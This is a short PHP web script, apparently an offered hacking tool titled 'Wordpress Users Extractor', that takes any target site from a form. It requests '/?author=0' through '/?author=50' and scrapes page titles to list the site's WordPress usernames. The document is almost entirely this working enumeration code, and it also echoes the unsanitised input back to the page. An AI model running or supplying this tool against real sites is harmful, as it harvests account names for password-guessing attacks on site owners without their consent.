Wordpress Users Extractor

<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title></title>
</head>
<body style="background-color: black; color: rgb(0, 0, 0);"
alink="#ee0000" link="#0000ee" vlink="#551a8b">
<span style="color: rgb(51, 204, 0); font-weight: bold;">Wordpress
Users Extractor By <a style="color: red;"
href="https://www.facebook.com/ElKiller.2013">Magico</a></span><br>
<span style="color: rgb(51, 51, 255);">
<?php
@header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
set_time_limit(0);
//==============================================================
echo'<form method="post">
<input name="s" type="text" value="" />
<input name="g" type="submit" />
</form>';
//==============================================================
$site= $_POST['s'];
$go= $_POST['g'];
//==============================================================
if(isset($go) and !empty($site)){

echo "<span style=\"color: rgb(204, 102, 0);\">[#] Users Of $site :</span><br>";
for($x = 0; $x <= 50; $x++){

  $url = $site."/?author=$x";
    $ch = curl_init();
    curl_setopt ($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
    $back = curl_exec($ch);

    preg_match('#<title>(.*)\|(.*)<\/title>#',$back,$user);

    if(!empty($user[1])){
        echo "$user[1]<br>";
    }

  }//end for
} // end if
//==============================\\ The Ebd // =================================
?>